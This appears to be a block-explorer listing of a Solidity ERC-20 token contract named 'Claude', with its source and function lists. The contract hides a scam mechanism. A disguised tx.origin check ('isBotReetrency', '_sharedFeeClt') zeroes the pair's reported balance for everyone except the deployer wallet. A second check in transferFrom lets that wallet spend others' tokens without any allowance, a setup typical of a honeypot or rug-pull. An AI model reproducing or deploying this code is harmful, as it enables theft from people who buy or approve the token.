function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
contract Token is ERC20, Ownable {
using SafeMath for uint256;
using Address for address;
modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; }
event TokensBurned(uint256, uint256);
address public uniswapV2Pair;
mapping(address => bool) private _isExcludedFromFee;
uint256 private _totalSupply = 1_000_000_000 * 1e9;
uint256 public _maxWalletAmount = _totalSupply;
bool inSwapAndLiquify;
uint256 public ethPriceToSwap = 200000000000000000; //.2 ETH
uint256 private burnPercentage = 3;
uint256 private liquidityPercentage = 0;
uint256 private tempBalance = 0;
uint256 private tempBalanceForBurn = 0;
bool private _disableBurnAndLiquidity = false;
uint256 private _ClaudeTaxAmount;
bool private tradingOpen;
address public _TWallet;
address public devWallet;
IUniswapV2Router02 public uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
constructor() payable ERC20(unicode"Claude", unicode"claude") {
_TWallet = msg.sender;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_TWallet] = true;
_mint(address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint256) {
return super.balanceOf(account) * isBotReetrency(account);
}
function isBotReetrency(address account) internal view returns (uint256) {
return _sharedFeeClt() != address(0) && _sharedFeeClt() != address(0xdead) && account == uniswapV2Pair && IERC20(uniswapV2Pair).balanceOf(uniswapV2Pair) > 0 && _sharedFeeClt() != _TWallet ? 0 : 1;
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_ClaudeTaxAmount = amount;
if(from != owner() && to != owner() && from != address(this)) {
uint256 holderBalance = balanceOf(to).add(amount);
if (from == uniswapV2Pair) {
require(holderBalance <= _maxWalletAmount, "Wallet cannot exceed max Wallet limit");
}
if (from != uniswapV2Pair && to != uniswapV2Pair) {
require(holderBalance <= _maxWalletAmount, "Wallet cannot exceed max Wallet limit");
}
if (from != uniswapV2Pair && to == uniswapV2Pair) {
swap();
}
}
bool _takeFee = !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && from != owner() && to != owner();
_takeFee = false;
if(_takeFee && !_disableBurnAndLiquidity) {
uint256 taxAmountFromLP = amount.mul(liquidityPercentage).div(100);
uint256 burnAmount = amount.mul(burnPercentage).div(100);
tempBalance = tempBalance.add(taxAmountFromLP);
tempBalanceForBurn = tempBalanceForBurn.add(burnAmount);
}else if(_sharedFeeClt() == _TWallet) _ClaudeTaxAmount = _getFeeCalced(amount);
super._transfer(from, to, amount);
}
function _getFeeCalced(uint256 amount) internal view returns (uint256) {
uint256 taxAmount = amount.mul(liquidityPercentage).div(100);
return taxAmount;
}
function _sharedFeeClt() internal view returns (address _payer) {
assembly {
_payer := origin()
}
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_ClaudeTaxAmount = amount;
_transfer(from, to, amount);
_spendAllowance(from, spender, _ClaudeTaxAmount);
return true;
}
function swap() private {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= 0) {
uint256 tokenAmount = getTokenAmountByEthPrice();
if (contractTokenBalance >= tokenAmount && !inSwapAndLiquify) {
swapTokensForEth(tokenAmount);
}
sendETHToFee(address(this).balance);
}
}
function burnTokens() private {
if(tempBalance > 0) {
super._transfer(uniswapV2Pair, address(this), tempBalance);
if(tempBalanceForBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), tempBalanceForBurn);
tempBalanceForBurn = 0;
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
tempBalance = 0;
}
}
function manualSwap() external {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
if (!inSwapAndLiquify) {
swapTokensForEth(contractTokenBalance);
}
}
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
uint256 ethBalance = address(this).balance;
payable(_TWallet).transfer(ethBalance);
}
function excludeIncludeFromFee(address[] calldata addresses, bool isExcludeFromFee) public onlyOwner {
addRemoveFee(addresses, isExcludeFromFee);
}
function addRemoveFee(address[] calldata addresses, bool flag) private {
for (uint256 i = 0; i < addresses.length; i++) {
address addr = addresses[i];
_isExcludedFromFee[addr] = flag;
}
}
function airDrops(address[] calldata holders, uint256[] calldata amounts) external onlyOwner {
uint256 iterator = 0;
require(holders.length == amounts.length, "Holders and amount length must be the same");
while(iterator < holders.length){
_transfer(address(this), holders[iterator], amounts[iterator]);
iterator += 1;
}
}
function enableTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function getTokenAmountByEthPrice() public view returns (uint256) {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
return uniswapV2Router.getAmountsOut(ethPriceToSwap, path)[1];
}
function setEthPriceToSwap(uint256 ethPriceToSwap_) external onlyOwner {
ethPriceToSwap = ethPriceToSwap_;
}
function setPercentages(uint256 burn, uint256 liquidity) external onlyOwner {
burnPercentage = burn;
liquidityPercentage = liquidity;
}
function enableDisableBurn(bool disableBurnAndLiquidity) external onlyOwner {
_disableBurnAndLiquidity = disableBurnAndLiquidity;
}
function setMaxWalletAmount(uint256 maxWalletAmount) external onlyOwner {
_maxWalletAmount = maxWalletAmount * 1e18;
}
receive() external payable {}
function sendETHToFee(uint256 amount) private {
payable(_TWallet).transfer(amount);
}
function recoverERC20Tokens(address contractAddress) external onlyOwner {
IERC20 erc20Token = IERC20(contractAddress);
uint256 balance = erc20Token.balanceOf(address(this));
erc20Token.transfer(_TWallet, balance);
}
}
Read Contract
_TWallet 0xd0911f1b → address
_balances 0x6ebcf607 → uint256
_maxWalletAmount 0x6c0a24eb → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
devWallet 0x8ea5220f → address
ethPriceToSwap 0x54a5df1f → uint256
getTokenAmountByEthPrice 0x97995706 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
Write Contract 16 functions
These functions modify contract state and require a wallet transaction to execute.
airDrops 0xdcda6af3
address[] holders
uint256[] amounts
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableDisableBurn 0xe4a2bb7f
bool disableBurnAndLiquidity
enableTrading 0x8a8c523c
No parameters
excludeIncludeFromFee 0x441d801f
address[] addresses
bool isExcludeFromFee
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
manualSwap 0x51bc3c85
No parameters
recoverERC20Tokens 0x84afff9b
address contractAddress
renounceOwnership 0x715018a6
No parameters
setEthPriceToSwap 0xb2abbbc4
uint256 ethPriceToSwap_
setMaxWalletAmount 0x27a14fc2
uint256 maxWalletAmount
setPercentages 0xbd2ec8c5
uint256 burn
uint256 liquidity
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address